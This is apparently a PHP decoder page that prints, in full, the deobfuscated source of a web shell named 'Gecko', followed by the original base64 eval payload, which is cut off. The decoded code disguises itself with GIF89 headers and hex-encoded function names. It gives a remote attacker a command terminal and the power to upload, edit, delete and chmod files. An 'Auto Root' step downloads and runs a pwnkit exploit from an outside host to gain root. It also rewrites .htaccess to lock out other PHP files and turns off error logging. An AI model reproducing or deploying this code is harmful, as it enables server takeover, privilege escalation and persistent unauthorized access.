Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo eval("?>".base64_decode("CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0t..
Decoded Output download
None?>b'
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<!-- GIF89;a -->
<?php
$Array = [
\'7368656c6c5f65786563\',
\'65786563\',
\'7061737374687275\',
\'73797374656d\',
\'70726f635f6f70656e\',
\'706f70656e\',
\'70636c6f7365\',
\'72657475726e\',
\'73747265616d5f6765745f636f6e74656e7473\',
\'676574637764\', // g e t c w d => 9
\'6368646972\', // c h d i r => 10
\'7068705f756e616d65\', // p h p _ u n a m e => 11
\'6973736574\',
\'66756e6374696f6e5f657869737473\',
\'5f6d61645f636d64\',
\'245f5345525645525b275345525645525f4e414d45275d\',
\'676c6f62\', // g l o b => 16
\'69735f66696c65\', // i s _ f i l e => 17
\'69735f646972\', // i s _ d i r => 18
\'69735f7772697461626c65\', // i s _ w r i t e a b l e => 19
\'69735f7265616461626c65\', // i s _ r e a d b l e => 20
\'66696c6573697a65\', // f i l e _ s i z e => 21
\'6765745f63757272656e745f75736572\', // user => 22
\'5345525645525f534f465457415245\', // Server Software => 23
\'66696c656d74696d65\', // f i l e m t i m e => 24
\'746f756368\', // t o u c h => 25
\'6d6b646972\', // m k d i r => 26
\'66696c655f6765745f636f6e74656e7473\', // f i l e g e t c o n t e n t s => 27
\'66696c655f7075745f636f6e74656e7473\', // f i l e p u t => 28
\'726d646972\', // r m d i r => 29
\'756e6c696e6b\', // u n l i n k => 30
\'66696c65\', // f i l e => 31
\'6d756c7469706172742f666f726d2d64617461\', // m u l t i p a r t / f o r m d a t a => 32
\'444f43554d454e545f524f4f54\', // r o o t d o c => 33
\'68747470733a2f2f7777772e6861786f726469736c616e642e746563682f6c6f63616c726f6f742f70776e6b6974\' // Source maybe? => 34
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unhex($Array[$i]);
}
if (!empty($_GET[\'download\'])) {
$nameNyafile = basename($_GET[\'download\']);
$pathFilenya = $fungsi[9]() . "/" . $nameNyafile;
if (!empty($nameNyafile) && file_exists($pathFilenya)) {
// Define Headers
header(\'Cache-control: public\');
header(\'Content-Description: File Transfer\');
header(\'Content-Type: application/octet-stream\');
header(\'Content-Disposition: attachment; filename="\' . $nameNyafile . \'"\');
header(\'Content-Transfer-Encoding: binary\');
/**ZHNnc2RmZ2VydHNkZmdzZGZnc2RmZ3NkZmdzZGZn**/
readfile($pathFilenya);
exit;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Gecko [ <?= $_SERVER[\'HTTP_HOST\']; ?> ]</title>
<link rel="shortcut icon" href="logo.png" type="image/x-icon">
<script src=\'https://kit.fontawesome.com/057b9b510c.js\' crossorigin=\'anonymous\'></script>
<style>
@import url(\'https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap\');
body {
font-family: monospace;
background-color: #1A1A1D;
color: white;
}
a {
text-decoration: none;
color: white;
}
tr th {
text-align: center;
font-weight: bold;
padding: 10px;
}
tr td:nth-child(3) {
text-align: center;
}
tr td {
padding: 10px;
font-weight: bold;
}
thead {
background-color: #29292e;
color: white;
}
ul {
list-style: none;
}
ul li {
font-weight: bold;
}
h1 {
font-family: \'Nanum Brush Script\', cursive;
}
tbody tr:nth-child(even) {
background: #29292e;
}
.pwd {
padding: 5px;
background-color: #29292e;
}
form li {
margin: 15px;
margin-left: -5px;
}
form li input[type="file"] {
border: 1px solid;
padding: 3.5px 4px;
background-color: #29292e;
color: white;
border-radius: 5px;
}
.upload-submit {
float: left;
padding: 6.4px 50px;
margin-right: 10px;
font-weight: bold;
background-color: #29292e;
border: none;
color: #1e9fc7;
box-shadow: 1.5px 1.5px #303038;
border-radius: 3px;
}
.upload-submit:hover {
background-color: #d5dbd6;
color: black;
}
.link-shell:hover::after {
content: "";
border-bottom: 2px solid white;
display: block;
padding-bottom: 5px;
margin-bottom: -7px;
animation-name: link-shell;
animation-duration: 0.6s;
}
@keyframes link-shell {
from {
width: 0;
}
to {
width: 100%;
}
}
.tool-menu li {
display: inline-block;
font-weight: none;
padding: 13px 7px;
}
.tool-menu li a {
padding: 7px 30px;
color: #1e9fc7;
background-color: #29292e;
border-radius: 3px;
box-shadow: 1.5px 1.5px #303038;
}
.tool-menu li a:hover {
background-color: #d5dbd6;
color: black;
box-shadow: 1.5px 1.5px #d5dbd6;
}
.list-tool {
padding: 1px;
}
.settings {
float: right;
position: relative;
margin-top: -200px;
}
.settings select {
padding: 5.5px 35px;
background-color: #303038;
border: none;
color: white;
border-radius: 4px;
}
.select-submit {
padding: 6.5px 50px;
margin-right: 10px;
background-color: #303038;
border: none;
color: white;
border-radius: 4px;
}
.select-submit:hover {
background-color: #d5dbd6;
color: black;
}
.action-gecko:hover {
background-color: #d5dbd6;
color: black;
}
.tool-menu-header {
margin: -13px 0px;
}
.create {
background-color: rgba(0, 0, 0, 0.3);
position: fixed;
display: flex;
align-items: center;
justify-content: center;
top: 0;
left: 0;
height: 100vh;
width: 100vw;
animation: modal-box;
animation-duration: 0.5s;
animation-fill-mode: both;
}
@keyframes modal-box {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
.modal {
border-radius: 10px;
background-color: white;
color: black;
width: 600px;
max-width: 100%;
padding: 18px;
}
.modal a {
background-color: #29292e;
padding: 8px 15px;
border-radius: 3px;
}
.modal ul {
float: right;
}
.modal ul li {
display: inline;
}
.btn-modal {
background-color: #29292e;
color: white;
border-radius: 3px;
padding: 8px 15px;
border: none;
}
.modal input[type="text"] {
width: 100%;
height: 30px;
border-radius: 3px;
border: 1px solid black;
}
.fw-bold {
font-weight: bold;
}
.file-size {
color: #1e9fc7;
}
th {
color: #1e9fc7;
}
.fa-folder {
color: orange;
}
.fa-file {
color: #1e9fc7;
}
.terminal-content {
z-index: 10;
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100vh;
background-color: rgba(0, 0, 0, 0.5);
animation: modal-box;
animation-duration: 0.5s;
animation-fill-mode: both;
font-weight: bold;
}
.terminal-body {
margin: auto;
margin-top: 60px;
z-index: 20;
width: 90%;
background: white;
height: 65vh;
color: black;
border-radius: 5px;
}
.terminal-body header {
text-align: center;
padding: 4px;
background: #1A1A1D;
color: white;
}
.terminal-body header a {
float: right;
color: black;
font-size: large;
background-color: white;
position: relative;
z-index: 11;
border-radius: 5px;
margin-top: -45px;
padding: 10px 30px;
}
.terminal-body header a:hover {
background-color: #29292e;
color: white;
border: 1px solid #303038;
}
.output-terminal {
width: 99.5%;
height: 100%;
color: black;
background-color: white;
}
.terminal-input {
width: 90%;
padding: 6px;
margin-left: 1px;
border: none;
border-bottom: 2px solid black;
}
.terminal-submit {
margin: 2.5px;
padding: 7.5px 25px;
background-color: black;
color: white;
border: none;
border-radius: 3px;
}
.pwd-body {
padding: 15px 8px;
font-weight: bold;
}
.border {
border: 1px solid black;
border-radius: 2px;
}
.file-box {
position: fixed;
width: 100%;
height: 100vh;
top: 0;
bottom: 0;
left: 0;
right: 0;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1;
}
.file-content {
width: 90%;
background-color: white;
height: 70%;
margin: auto;
margin-top: 20px;
color: black;
}
.file-content textarea {
width: 99.5%;
height: 70vh;
}
.file-header {
background-color: #1A1A1D;
padding: 15px;
}
.file-header ul {
list-style: none;
}
.file-header li {
display: inline-block;
margin: 0px 30px;
}
.file-header li:nth-child(3) {
float: right;
margin-right: -5px;
}
.file-header li:nth-child(3) a {
color: black;
font-size: large;
background-color: white;
z-index: 11;
border-radius: 5px;
padding: 10px 30px;
}
.file-header li:nth-child(3) a:hover {
background-color: #29292e;
color: white;
border: 1px solid #303038;
}
.file-header li button {
color: black;
cursor: pointer;
font-weight: bold;
background: white;
font-size: 15px;
border: 1px solid white;
padding: 10px 15px;
margin: -10px -15px;
border-radius: 5px;
}
.link-rename {
padding: 10px 15px;
border: 1px solid white;
background-color: white;
color: black;
border-radius: 5px;
margin: -10px -15px;
}
</style>
</head>
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set(\'error_log\', NULL);
@ini_set(\'log_errors\', 0);
@ini_set(\'max_execution_time\', 0);
@ini_set(\'output_buffering\', 0);
@ini_set(\'display_errors\', 0);
function Redirect($url, $permanent = false)
{
header(\'Location: \' . $url, true, $permanent ? 301 : 302);
exit();
}
if (isset($_GET[\'dir\'])) {
$cdir = unhex($_GET[\'dir\']);
$fungsi[10]($cdir);
} else {
$cdir = $fungsi[9]();
}
$get_cwd = $fungsi[9]();
$scdir = $fungsi[16]("{.[!.],}*", GLOB_BRACE);
?>
<body>
<div class="list-shell">
<ul>
<li><?= $fungsi[11](); ?></li>
<li><?= $_SERVER[$fungsi[23]]; ?></li>
<li>Server IP : <?= $_SERVER[\'SERVER_ADDR\']; ?> & Your IP : <?= $_SERVER[\'REMOTE_ADDR\']; ?></li>
<li>Domains : <?= symlinkDomain(); ?></li>
<li>
User : <?= $fungsi[22](); ?>
</li>
<form action="" method="post" enctype="<?= $fungsi[32] ?>">
<li><input type="file" name="gecko-file" id=""><input type="submit" class="upload-submit" name="upload-submit" value="Upload"></li>
</form>
</ul>
<div class="tool-menu-header">
<div class="list-tool">
<ul class="tool-menu">
<li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=terminal" class=""><i class="fa-solid fa-terminal"></i> Terminal</a></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=root-terminal" class=""><i class="fa-solid fa-code"></i> Auto Root</a></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=file" class=""><i class="fa-solid fa-file-circle-plus"></i> Create File</a></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=folder" class=""><i class="fa-solid fa-folder-plus"></i> Create Folder</a></li>
<li><a href="https://www.exploit-db.com/search?q=Linux%20Kernel%20<?= linux_version(); ?>" class=""><i class="fa-solid fa-bug"></i> Localroot Suggester</a></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>&backdoor=true" class=""><i class="fa-solid fa-virus"></i> Backdoor Destroyer</a></li>
<li><a href="https://github.com/MadExploits/Gecko/" class=""><i class="fa-solid fa-book"></i> Readme</a></li>
</ul>
</div>
</div>
<br>
</div>
<div class="border">
<div class="pwd">
<form action="" method="post">
<div class="pwd-body">
<?php
$cwd = str_replace("\", "/", $get_cwd); // untuk dir garis windows
$pwd = explode("/", $cwd);
foreach ($pwd as $id => $val) {
if ($val == \'\' && $id == 0) {
echo \'<a href="?dir=\' . hex(\'/\') . \'"><i class="fa-solid fa-folder-plus"></i> / </a>\';
continue;
}
if ($val == \'\') continue;
echo \'<a href="?dir=\';
for ($i = 0; $i <= $id; $i++) {
echo hex($pwd[$i]);
if ($i != $id) echo hex("/");
}
echo \'">\' . $val . \' / \' . \'</a>\';
}
?>
</div>
<div class="settings">
<select name="action-gecko" id="" class="action-gecko">
<option value="delete">Delete</option>
<option value="unzip">Unzip</option>
</select>
<input type="submit" class="select-submit" value="Submit" name="gecko-submit">
</div>
</div>
<table style="width:100%;">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<!-- FOLDER NYA -->
<?php foreach ($scdir as $dir) : ?>
<?php if ($fungsi[18]($dir)) : ?>
<tr>
<td>
<input type="checkbox" name="check-gecko[]" id="folder" value="<?= $dir; ?>"> <label for="folder"><i class="fa-solid fa-folder"></i> <a href="?dir=<?= hex($cwd . "/" . $dir); ?>" class="link-shell"><?= $dir; ?></a>
</td>
<td>[ DIR ]</td>
<td><?php if ($fungsi[19]($fungsi[9]() . \'/\' . $dir)) echo \'<font color="#00ff00">\';
elseif (!$fungsi[20]($fungsi[9]() . \'/\' . $dir)) echo \'<font color="red">\';
echo perms($fungsi[9]() . \'/\' . $dir);
?>
</td>
<td>
<?php echo date(
"Y-m-d H:i",
$fungsi[24]($dir)
); ?>
</td>
<td>
<a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $dir ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $dir ?>"><i class="fa-solid fa-user-pen"></i></a>
</td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
<!-- FILE NYA -->
<?php foreach ($scdir as $_file) : ?>
<?php if ($fungsi[17]($_file)) : ?>
<tr>
<td>
<input type="checkbox" name="check-gecko[]" id="folder" value="<?= $_file; ?>"> <label for="folder"><i class="fa-regular fa-file"></i> <a href="?dir=<?= hex($cwd . "/"); ?>&f=<?= $_file; ?>" class="link-shell"><?= $_file; ?></a>
</td>
<td><?= formatSize($fungsi[21]($_file)); ?></td>
<td>
<?php if ($fungsi[19]($fungsi[9]() . \'/\' . $_file)) {
echo \'<font color="#00ff00">\';
} elseif (!$fungsi[20]($fungsi[9]() . \'/\' . $_file)) {
echo \'<font color="red">\';
}
echo perms($fungsi[9]() . \'/\' . $_file);
?>
</td>
<td>
<?php echo date(
"Y-m-d H:i",
$fungsi[24]($_file)
); ?>
</td>
<td>
<a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_file ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&download=<?= $_file ?>"><i class="fa-solid fa-download"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $_file ?>"><i class="fa-solid fa-user-pen"></i></a>
</td>
</tr>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
</div>
<br>
</form>
<?php
if ($_GET[\'create\'] == True) :
?>
<div class="create">
<div class="modal">
<?php if ($_GET[\'create\'] == "file") : ?>
<header>
<h2><?= \'<i class="fa-solid fa-file-circle-plus"></i> Create File\'; ?></h2>
</header>
<form action="" method="post">
<input type="text" name="create_file" id="" placeholder=" Nama File">
<?php elseif ($_GET[\'create\'] == "folder") : ?>
<header>
<h2><?= \'<i class="fa-solid fa-folder-plus"> </i>Create Folder\'; ?></h2>
</header>
<form action="" method="post">
<input type="text" name="create_folder" id="" placeholder=" Nama Folder">
<?php endif; ?>
<ul>
<li><input type="submit" name="submit-modal" class="btn-modal fw-bold" value="Submit"></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
</ul>
</form>
</div>
</div>
<?php endif; ?>
<?php
if ($_GET[\'action\'] == "terminal") :
?>
<div class="terminal-content">
<div class="terminal">
<div class="terminal-body">
<header>
<h3><i class="fa-solid fa-terminal"></i> </h3>
<a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
</header>
<form action="" method="post">
<center>
<input type="text" placeholder="uname -a" name="terminal" class="terminal-input" autofocus>
<input type="submit" value=">" name="submit-terminal" class="terminal-submit">
</center>
</form>
<?php if (isset($_POST[\'submit-terminal\'])) : ?>
<textarea class="output-terminal" disabled><?= htmlspecialchars($fungsi[14]($_POST[\'terminal\'] . " 2>&1")); ?></textarea>
<?php endif; ?>
</div>
</div>
</div>
<?php endif; ?>
<?php if ($_GET[\'action\'] == "root-terminal") : ?>
<div class="terminal-content">
<div class="terminal">
<div class="terminal-body">
<header>
<h3><i class="fa-solid fa-terminal"></i> </h3>
<a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a>
</header>
<form action="" method="post">
<center>
<input type="text" placeholder="root@terminal~#" name="terminal-root" class="terminal-input" autofocus>
<input type="submit" value=">" name="submit-root" class="terminal-submit">
</center>
</form>
<?php if (isset($_POST[\'submit-root\'])) : ?>
<textarea class="output-terminal" disabled>
<?php
$terminal = $_POST[\'terminal-root\'];
if ($terminal == "root") {
echo "[+] Downloading The source
";
echo $fungsi[14]("wget " . $fungsi[34] . " --no-check-certificate");
echo "[!] Chmod file pwnkit....
";
echo $fungsi[14]("chmod +x pwnkit");
echo "[+] Testing if this kernel vulnerable...
";
echo $fungsi[14](\'./pwnkit "id" >> mad-pwnkit\');
$check_vulnerable = $fungsi[27]($fungsi[9]() . "/mad-pwnkit");
$explode_mad_pwkit = explode(" ", $check_vulnerable);
if ($explode_mad_pwkit[0] == "uid=0(root)") {
echo "[~] This Kernel is vulnerable congrats!
";
} else {
echo "[!] This kernel is not Vulnerable Sorry :)";
return;
}
echo "[+] Giving Permission on mad-pwnkit
";
echo $fungsi[14]("chmod +x mad-pwnkit");
if (!$fungsi[14](\'./pwnkit "id"\')) {
echo "[!] Cannot running pwnkit";
} else {
echo "[!] Done Sir. now u can running on root user!";
exit;
}
}
echo htmlspecialchars($fungsi[14](\'./pwnkit "\' . $terminal . \'"\'));
?>
</textarea>
<?php endif; ?>
</div>
</div>
</div>
<?php endif; ?>
<?php
if (isset($_POST[\'submit-modal\'])) {
if ($_POST[\'create_file\']) {
$file = $_POST[\'create_file\'];
if ($fungsi[25]($file)) {
echo success();
} else {
echo failed();
}
} elseif ($_POST[\'create_folder\']) {
$folder = $_POST[\'create_folder\'];
if ($fungsi[26]($folder)) {
echo success();
} else {
echo failed();
}
}
} ?>
<br>
<?php
if (isset($_GET[\'f\'])) :
?>
<div class="file-box">
<div class="file-content">
<form action="" method="post">
<div class="file-header">
<ul>
<li><button type="submit" name="submit-file"><i class="fa-regular fa-floppy-disk"></i> Save</button></li>
<li><a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_GET[\'f\'] ?>" class="link-rename"><i class="fa-solid fa-pen-to-square"></i> Rename</a></li>
<li> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a></li>
</ul>
</div>
<textarea name="text-file"><?php echo htmlspecialchars($fungsi[27]($_GET[\'f\'])); ?></textarea>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($_GET[\'rename\'] == True) : ?>
<div class="create">
<div class="modal">
<header>
<h2><?= $_GET[\'rename\'] ?></h2>
</header>
<form action="" method="post">
<input type="text" name="rename" id="" placeholder=" File/Folder">
<ul>
<li><input type="submit" name="submit-rename" class="btn-modal fw-bold" value="Submit"></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
</ul>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($_GET[\'chmod\'] == True) : ?>
<div class="create">
<div class="modal">
<header>
<h2><?= $_GET[\'chmod\'] ?></h2>
</header>
<form action="" method="post">
<input type="number" style="width:100%" name="chmod" id="" placeholder=" 775">
<ul>
<li><input type="submit" name="submit-chmod" class="btn-modal fw-bold" value="Submit"></li>
<li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li>
</ul>
</form>
</div>
</div>
<?php endif; ?>
</body>
</html>
<?php
if ($_GET[\'backdoor\'] == True) {
// check if htaccess have this code
$file_htaccess = $fungsi[27]($_SERVER[$fungsi[33]] . "/htaccess");
$cari_code = explode(\'<\', $file_htaccess);
if (!end($cari_code) == \'/FilesMatch>\') {
// pengecekan nama file sekarang
$namafile = $_SERVER[\'SCRIPT_FILENAME\'];
$fileUtama = explode("/", $namafile);
$htaccess_text = \'
<FilesMatch ".ph*|Ph*|pH*|PH*">
Order Deny,Allow
Deny from all
</FilesMatch>
<FilesMatch "\' . end($fileUtama) . \'|index.php|index.html|*.png|.htaccess">
Order Deny, Allow
Allow from all
</FilesMatch>\';
$document_root = $_SERVER[$fungsi[33]];
$cmd = $fungsi[14]("echo \'" . $htaccess_text . "\' >> " . $document_root . "/.htaccess");
if ($cmd) {
echo success();
} else {
echo failed();
}
} else {
echo failed();
}
}
if (isset($_POST[\'submit-chmod\'])) {
$numberChmod = $_POST[\'chmod\'];
$chm_o_d = chmod($fungsi[9] . "/" . $_GET[\'chmod\'], is_int($numberChmod));
if ($chm_o_d) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST[\'upload-submit\'])) {
$name_file = $_FILES[\'gecko-file\'][\'name\'];
$tmp_name = $_FILES[\'gecko-file\'][\'tmp_name\'];
$move = move_uploaded_file($tmp_name, __DIR__ . "/" . $name_file);
if ($move) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST[\'submit-rename\'])) {
$new_name = $_POST[\'rename\'];
$re_name = rename($fungsi[9]() . "/" . $_GET[\'rename\'], $new_name);
if ($re_name) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST[\'submit-file\'])) {
$textarea = $_POST[\'text-file\'];
$write = $fungsi[28]($fungsi[9]() . "/" . $_GET[\'f\'], $textarea);
if ($write) {
echo success();
} else {
echo failed();
}
}
if (isset($_POST[\'gecko-submit\'])) {
$item = $_POST[\'check-gecko\'];
if ($_POST[\'action-gecko\'] == "delete") {
foreach ($item as $it) {
$repl = str_replace("\", "/", $fungsi[9]()); // Untuk Windows Path
$fd = $repl . "/" . $it;
if ($fungsi[18]($fd) || $fungsi[17]($fd)) {
$rmdir = unlinkDir($fd);
$rmfile = $fungsi[30]($fd);
if ($rmdir || $rmfile) {
echo success();
} else {
echo failed();
}
}
}
}
}
function success()
{
return \'<meta http-equiv="refresh" content="0;url=?dir=\' . hex($GLOBALS[\'fungsi\'][9]()) . \'&response=success">\';
}
function failed()
{
return \'<meta http-equiv="refresh" content="0;url=?dir=\' . hex($GLOBALS[\'fungsi\'][9]()) . \'&response=failed">\';
}
function _mad_cmd($de)
{
$out = \'\';
try {
if (function_exists(\'shell_exec\')) {
return @$GLOBALS[\'fungsi\'][0]($de);
} else if (function_exists(\'system\')) {
@$GLOBALS[\'fungsi\'][3]($de);
} else if (function_exists(\'exec\')) {
$exec = array();
@$GLOBALS[\'fungsi\'][1]($de, $exec);
$out = @join("
", $exec);
return $exec;
} else if (function_exists(\'passthru\')) {
@$GLOBALS[\'fungsi\'][2]($de);
} else if (function_exists(\'popen\') && function_exists(\'pclose\')) {
if (is_resource($f = @$GLOBALS[\'fungsi\'][5]($de, "r"))) {
$out = "";
while (!@feof($f))
$out .= fread($f, 1024);
return $out;
$GLOBALS[\'fungsi\'][6]($f);
}
} else if (function_exists(\'proc_open\')) {
$pipes = array();
$process = @$GLOBALS[\'fungsi\'][4]($de . \' 2>&1\', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
$out = @$GLOBALS[\'fungsi\'][8]($pipes[1]);
return $out;
} else if (class_exists(\'COM\')) {
$madWs = new COM(\'WScript.shell\');
$exec = $madWs->$GLOBALS[\'fungsi\'][1](\'cmd.exe /c \' . $_POST[\'alfa1\']);
$stdout = $exec->StdOut();
$out = $stdout->ReadAll();
}
} catch (Exception $e) {
}
return $out;
}
function unlinkDir($dir)
{
$dirs = array($dir);
$files = array();
for ($i = 0;; $i++) {
if (isset($dirs[$i]))
$dir = $dirs[$i];
else
break;
if ($openDir = opendir($dir)) {
while ($readDir = @readdir($openDir)) {
if ($readDir != "." && $readDir != "..") {
if ($GLOBALS[\'fungsi\'][18]($dir . "/" . $readDir)) {
$dirs[] = $dir . "/" . $readDir;
} else {
$files[] = $dir . "/" . $readDir;
}
}
}
}
}
foreach ($files as $file) {
$GLOBALS[\'fungsi\'][30]($file);
}
$dirs = array_reverse($dirs);
foreach ($dirs as $dir) {
$GLOBALS[\'fungsi\'][29]($dir);
}
}
function formatSize($bytes)
{
$types = array(\'<span class="file-size">B</span>\', \'<span class="file-size">KB</span>\', \'<span class="file-size">MB</span>\', \'<span class="file-size">GB</span>\', \'<span class="file-size">TB</span>\');
for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
return (round($bytes, 2) . " " . $types[$i]);
}
function symlinkDomain()
{
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
$dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
return $dom;
}
function linux_version()
{
$pecah = explode(" ", $GLOBALS[\'fungsi\'][11]());
$pcah = explode("-", $pecah[2]);
return $pcah[0];
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}
// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\') : (($perms & 0x0800) ? \'S\' : \'-\'));
// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\') : (($perms & 0x0400) ? \'S\' : \'-\'));
// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\') : (($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
function hex($n)
{
$y = \'\';
for ($i = 0; $i < strlen($n); $i++) {
$y .= dechex(ord($n[$i]));
}
return $y;
}
function unhex($y)
{
$n = \'\';
for ($i = 0; $i < strlen($y) - 1; $i += 2) {
$n .= chr(hexdec($y[$i] . $y[$i + 1]));
}
return $n;
}
?>
'
Did this file decode correctly?
Original Code
<?php
echo eval("?>".base64_decode("CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0tIEdJRjg5O2EgLS0+CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8IS0tIEdJRjg5O2EgLS0+CjwhLS0gR0lGODk7YSAtLT4KPCEtLSBHSUY4OTthIC0tPgo8P3BocAokQXJyYXkgPSBbCiAgICAnNzM2ODY1NmM2YzVmNjU3ODY1NjMnLAogICAgJzY1Nzg2NTYzJywKICAgICc3MDYxNzM3Mzc0Njg3Mjc1JywKICAgICc3Mzc5NzM3NDY1NmQnLAogICAgJzcwNzI2ZjYzNWY2ZjcwNjU2ZScsCiAgICAnNzA2ZjcwNjU2ZScsCiAgICAnNzA2MzZjNmY3MzY1JywKICAgICc3MjY1NzQ3NTcyNmUnLAogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywKICAgICc2NzY1NzQ2Mzc3NjQnLCAvLyBnIGUgdCBjIHcgZCA9PiA5IAogICAgJzYzNjg2NDY5NzInLCAvLyBjIGggZCBpIHIgPT4gMTAKICAgICc3MDY4NzA1Zjc1NmU2MTZkNjUnLCAvLyBwIGggcCBfIHUgbiBhIG0gZSA9PiAxMQogICAgJzY5NzM3MzY1NzQnLAogICAgJzY2NzU2ZTYzNzQ2OTZmNmU1ZjY1Nzg2OTczNzQ3MycsCiAgICAnNWY2ZDYxNjQ1ZjYzNmQ2NCcsCiAgICAnMjQ1ZjUzNDU1MjU2NDU1MjViMjc1MzQ1NTI1NjQ1NTI1ZjRlNDE0ZDQ1Mjc1ZCcsCiAgICAnNjc2YzZmNjInLCAvLyBnIGwgbyBiID0+IDE2CiAgICAnNjk3MzVmNjY2OTZjNjUnLCAvLyBpIHMgXyBmIGkgbCBlID0+IDE3CiAgICAnNjk3MzVmNjQ2OTcyJywgLy8gaSBzIF8gZCBpIHIgPT4gMTgKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgLy8gaSBzIF8gdyByIGkgdCBlIGEgYiBsIGUgPT4gMTkKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgLy8gaSBzIF8gciBlIGEgZCBiIGwgZSA9PiAyMAogICAgJzY2Njk2YzY1NzM2OTdhNjUnLCAvLyBmIGkgbCBlIF8gcyBpIHogZSA9PiAyMQogICAgJzY3NjU3NDVmNjM3NTcyNzI2NTZlNzQ1Zjc1NzM2NTcyJywgLy8gdXNlciA9PiAyMgogICAgJzUzNDU1MjU2NDU1MjVmNTM0ZjQ2NTQ1NzQxNTI0NScsIC8vIFNlcnZlciBTb2Z0d2FyZSA9PiAyMwogICAgJzY2Njk2YzY1NmQ3NDY5NmQ2NScsIC8vIGYgaSBsIGUgbSB0IGkgbSBlID0+IDI0CiAgICAnNzQ2Zjc1NjM2OCcsIC8vIHQgbyB1IGMgaCA9PiAyNQogICAgJzZkNmI2NDY5NzInLCAvLyBtIGsgZCBpIHIgPT4gMjYKICAgICc2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBnIGUgdCBjIG8gbiB0IGUgbiB0IHMgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBwIHUgdCA9PiAyOAogICAgJzcyNmQ2NDY5NzInLCAvLyByIG0gZCBpIHIgPT4gMjkKICAgICc3NTZlNmM2OTZlNmInLCAvLyB1IG4gbCBpIG4gayA9PiAzMAogICAgJzY2Njk2YzY1JywgLy8g